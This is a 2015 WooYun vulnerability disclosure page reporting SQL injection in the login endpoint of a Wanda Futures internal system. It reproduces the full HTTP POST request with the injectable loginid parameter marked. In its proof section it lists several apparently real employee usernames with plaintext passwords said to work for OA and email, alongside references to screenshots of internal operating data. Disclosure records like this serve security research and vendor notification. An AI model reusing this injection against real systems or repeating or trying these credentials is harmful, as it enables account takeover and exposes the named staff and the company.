当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153836

漏洞标题：期货安全之万达期货某系统漏洞导致全部员工账户信息可泄露(影响其他系统\涉及内外部运营数据\组织架构等)

相关厂商：万达期货

漏洞作者： 管管侠

提交时间：2015-11-19 09:56

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-19： 细节已通知厂商并且等待厂商处理中
2015-11-24： 厂商已经确认，细节仅向厂商公开
2015-12-04： 细节向核心白帽子及相关领域专家公开
2015-12-14： 细节向普通白帽子公开
2015-12-24： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

777 or 555 ？？
你们域名要过期了，张岩董事长您好！

详细说明：

sql注入：loginid是注入点

POST /verifyLogin.do HTTP/1.1
Host: **.**.**.**:89
Proxy-Connection: keep-alive
Content-Length: 94
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**:89
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**:89/login.do?message=102&verify=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: lzstat_uv=18735084853005209218|1553837; pgv_pvi=4819598336; pgv_si=s9129644032; lzstat_ss=54845625_4_1447277167_1553837; Hm_lvt_96df3c6c7ade3419b352ede4318a879f=1447248197; Hm_lpvt_96df3c6c7ade3419b352ede4318a879f=1447248368; JSESSIONID=abcIz1LnkT2336TiMU2dv
loginid=sysadmin*&password=123456&clienttype=Webclient&clientver=4.5&language=&country=&verify=


1.png


2.png


4.png

漏洞证明：

随便登录一下，涉及内部运营

下面可以试试oa
zhangy 000001 Zy998877
下面是 邮箱，oa也是通用的，不写ID了
chenkc ckc3972797
quf qufang790115
gaoty 123ba456
fenglw Feng133615


3.png


5.png


6.png


密码邮箱大多通用，有意思了，涉及外部往来运营敏感信息

7.png


8.png


这是啥？

9.png


10.png


11.png


还有彩蛋：

12.png


13.png

修复方案：

哈

版权声明：转载请注明来源 管管侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-11-24 15:55

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无